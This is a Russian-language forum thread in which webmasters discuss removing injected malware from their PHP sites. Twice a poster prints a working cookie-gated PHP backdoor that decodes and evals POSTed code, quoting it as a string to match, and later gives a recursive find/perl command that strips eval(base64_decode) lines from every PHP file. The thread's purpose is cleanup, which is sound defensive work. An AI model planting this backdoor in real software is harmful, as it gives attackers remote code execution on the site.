[Kgtu5]

разницы нет какая вставка и куда засунули, экранирование работает отлично - удаляется все что требуется без проблем и синтаксических ошибок...

[Гендальф Серый]

Kgtu5, бывают случаи, когда экранирование не работает. Я в таких случая использую вспомогательный софт/программы для обнаружения/удаления червей с сайта.

[Flour]

Благодарю, часто сталкиваюсь с проблемой - скрытые ссылки в скриптах и шаблонах

[ASko]

У меня на всех сайтах, и во многих папках эта сволота наделал множество файликов с вот таким кодом:

Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 1 сообщение(ий)):

У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.

Поясните, пожалуйста, что и как поставить в кавычки скрипта, чтобы эту мерзоту вычистить.
Заранее благодарен.

[Гендальф Серый]

$virus_text = '
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
echo '<textarea id=areatext>';
eval($msg);
echo '</textarea>bg';
exit;
}}
';

---------- Сообщение добавлено 17:30 ---------- Предыдущее 17:29 ----------

$virus_text = '
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
echo '<textarea id=areatext>';
eval($msg);
echo '</textarea>bg';
exit;
}}
';

[ASko]

Гендальф Серый, спасибо, но не проходит...
пишет:
"На веб-сайте произошла ошибка при получении _http://qqq.aa/delvir.php. Веб-сайт может быть закрыт на обслуживание или настроен неправильно."

[Docadept]

Скрипт неплохой, но предпочитаю работать ручками, а то ведь так человек может заподозрить какой-то кусок кода, как вредоносный, а он окажется частью стандартного и все, каюк CMS. Кусок вызова функции, к примеру. Делайте бэкапы перед обработкой - забыли написать)

[ASko]

Docadept, руками конечно лучше, а как вы их ищите?

[Гендальф Серый]

Господа, новая инфа про злополучный base64:

1. Коннектимся к серверу по SSH
2. выполняем команду

find . -type f -name '*.php' -exec perl -pi -e 's/eval\(base64_decode\(\"DQp.*p9\"\)\)\;//g' '{}' \;

3. done!

Если хостер не дал доступ по SSH - смело требуем от ТП, чтобы они выполнили вышеописанные действия.

[thirus]

во , спасибо большое автору) а то задолбался бороться уже с кодом уже этим вредоносным(